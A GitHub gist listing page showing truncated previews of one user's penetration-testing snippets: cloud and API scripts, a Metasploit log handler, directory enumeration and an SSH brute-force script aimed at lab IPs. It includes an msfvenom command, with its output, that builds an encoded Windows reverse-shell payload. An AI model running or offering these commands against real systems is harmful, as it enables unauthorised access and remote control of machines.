Skip to content

Instantly share code, notes, and snippets.

import requests
import json
import time
def main():
base_url = "https://api.recordedfuture.com/v2"
token = ""
@joenorton8014
joenorton8014 / digitaloceantesting.py
Created June 25, 2018 14:05
Digital Ocean Notes
import digitalocean
from digitalocean import SSHKey
from Crypto.PublicKey import RSA
from datetime import datetime
import time
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
import os
from digitalocean import SSHKey
msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 LHOST=10.0.2.15 LPORT=443 -f c | tr -d '\n' | tr -d '\\x' | tr -d "\""
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai succeeded with size 378 (iteration=1)
x86/shikata_ga_nai succeeded with size 405 (iteration=2)
x86/shikata_ga_nai chosen with final size 405
Payload size: 405 bytes
import geoip2.database
import os
import urllib2
import StringIO
import tarfile
def downloaddatabase(download_link,filename):
response = urllib2.urlopen(download_link)
compressedFile = StringIO.StringIO()
compressedFile.write(response.read())
import digitalocean
# pip install -U python-digitalocean
# https://github.com/koalalorenzo/python-digitalocean
key = ''
manager = digitalocean.Manager(token=key)
my_droplets = manager.get_all_droplets()
@joenorton8014
joenorton8014 / log_handler.py
Created April 8, 2018 03:29 — forked from zeroSteiner/log_handler.py
Python logging.Handler for use in external Metasploit modules.
import logging
import metasploit.module as module
class MetasploitLogHandler(logging.Handler):
def emit(self, record):
log_entry = self.format(record)
level = 'debug'
if record.levelno >= logging.ERROR:
level = 'error'
elif record.levelno >= logging.WARNING:
@joenorton8014
joenorton8014 / sshbruteforce.py
Created April 7, 2018 12:49
sshbruteforce.py
import paramiko
import sys
import os
import socket
import threading
import Queue
# From blackhat python. Need to add cli args for these:
password_file = '/root/Documents/python/passwords.txt'
target = '10.0.0.160'
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:4443
import BaseHTTPServer, SimpleHTTPServer
import ssl
# Work in progress....
import requests
import os
from progressbar import ProgressBar
baseurl = 'http://10.0.0.1/'
folder_list = '/usr/share/wordlists/dirb/small.txt'
recursive = 'yes'
import requests
import os
from progressbar import ProgressBar
pbar = ProgressBar()
baseurl = 'http://10.0.0.55/'
folder_list = '/usr/share/wordlists/dirb/small.txt'